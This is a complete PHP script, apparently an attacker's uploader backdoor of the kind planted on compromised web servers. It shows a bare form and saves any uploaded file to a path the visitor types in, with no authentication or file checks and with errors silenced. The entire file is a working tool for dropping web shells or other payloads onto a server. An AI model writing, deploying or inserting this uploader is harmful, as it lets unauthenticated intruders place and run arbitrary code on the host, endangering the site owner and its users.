<?php
echo '<center><br>';
if(isset($_POST['Submit'])){
	if (!empty($_POST['pathh']))
		$filedir = $_POST['pathh'];
	else
		$filedir = "./"; 
	$maxfile = '2000000';
	$mode = '0644';
	$userfile_name = $_FILES['image']['name'];
	$userfile_tmp = $_FILES['image']['tmp_name'];
	if (isset($_FILES['image']['name'])) {
		$abod = $filedir.$userfile_name;
		@move_uploaded_file($userfile_tmp, $abod);
		@chmod ($abod, octdec($mode));
echo"<center>Done ==> $userfile_name</b></center>";
}}
else{
echo'
<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br>
<input type="text" name="pathh" value="./"><br>
<input type="Submit" name="Submit" value="Submit"></form>';
}
echo '</center>';
?>